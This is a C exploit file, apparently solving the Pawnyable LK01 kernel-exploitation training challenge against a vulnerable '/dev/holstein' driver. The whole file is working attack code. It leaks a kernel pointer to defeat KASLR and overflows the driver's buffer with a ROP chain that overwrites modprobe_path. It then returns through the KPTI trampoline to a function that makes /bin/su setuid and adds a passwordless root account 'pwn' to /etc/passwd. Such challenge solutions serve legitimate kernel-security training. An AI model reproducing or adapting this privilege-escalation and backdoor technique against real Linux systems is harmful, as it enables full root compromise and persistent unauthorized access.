pawnyable_lk01_exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define module "/dev/holstein"
#define base_no_kaslr 0xffffffff81000000
#define kpti 0xffffffff81800e26
#define modprobe 0xffffffff81e33c00
#define copy_from_user 0xffffffff8125c310
#define pop_rdi 0xffffffff8127bbdc
#define pop_rsi 0xffffffff8101ccde
#define pop_rdx 0xffffffff81146092

unsigned long kbase;

int fd;


unsigned long offsetter(unsigned long addr){return kbase + (addr - base_no_kaslr);}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

static void get_root(){
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/asd");
    system("chmod +x /tmp/asd");
    system("echo '#!/bin/sh' > /tmp/x");
    system("echo 'chmod +s /bin/su' >> /tmp/x");
    system("echo 'echo \"pwn::0:0:pwn:/root:/bin/sh\" >> /etc/passwd' >> /tmp/x");
    system("chmod +x /tmp/x");
    system("/tmp/asd");
    system("su pwn");
}

int main(int argc, char* argv[]){
	
	save_state();
	fd = open(module, O_RDWR);
	if (fd < 0){perror("Can't open module \n");exit(-1);}
	printf("Module Opened \n");
	
	//Leak
	unsigned long leak[800];
	read(fd, leak, sizeof(leak));
	
	/*int i;
	for(i=0; i<800; i++){
		printf("Idx: 0x%x ==> Val: 0x%lx \n", i, leak[i]);
	}*/ 
	// Idx: 0x92 ==> Val: 0xffffffff8160bed8 
	
	kbase = leak[0x92] - (0xffffffff8160bed8 - base_no_kaslr);
	printf("Kernel Base: 0x%lx\n", kbase);	

	//BOF
	char overwrite[] = "/tmp/x\x00";
	
	char buffer[0x500];
	memset(buffer, 'A', 0x408); // 0x400 + 0x8
	unsigned long *rop = (unsigned long*)&buffer[0x408];
	*rop++ = offsetter(pop_rdi);
	*rop++ = offsetter(modprobe);
	*rop++ = offsetter(pop_rsi);
	*rop++ = (unsigned long) overwrite;
	*rop++ = offsetter(pop_rdx);
	*rop++ = (unsigned long) strlen(overwrite) +1;
	*rop++ = offsetter(copy_from_user);
	*rop++ = offsetter(kpti);
	*rop++ = 0xdeadbeef;
	*rop++ = 0xdeadbeef;
	*rop++ = (unsigned long)&get_root;
	*rop++ = user_cs;
	*rop++ = user_rflags;
	*rop++ = user_sp;
	*rop++ = user_ss;
	
	write(fd, buffer, (void*)rop - (void*)buffer);

	close(fd);

	return 0;
}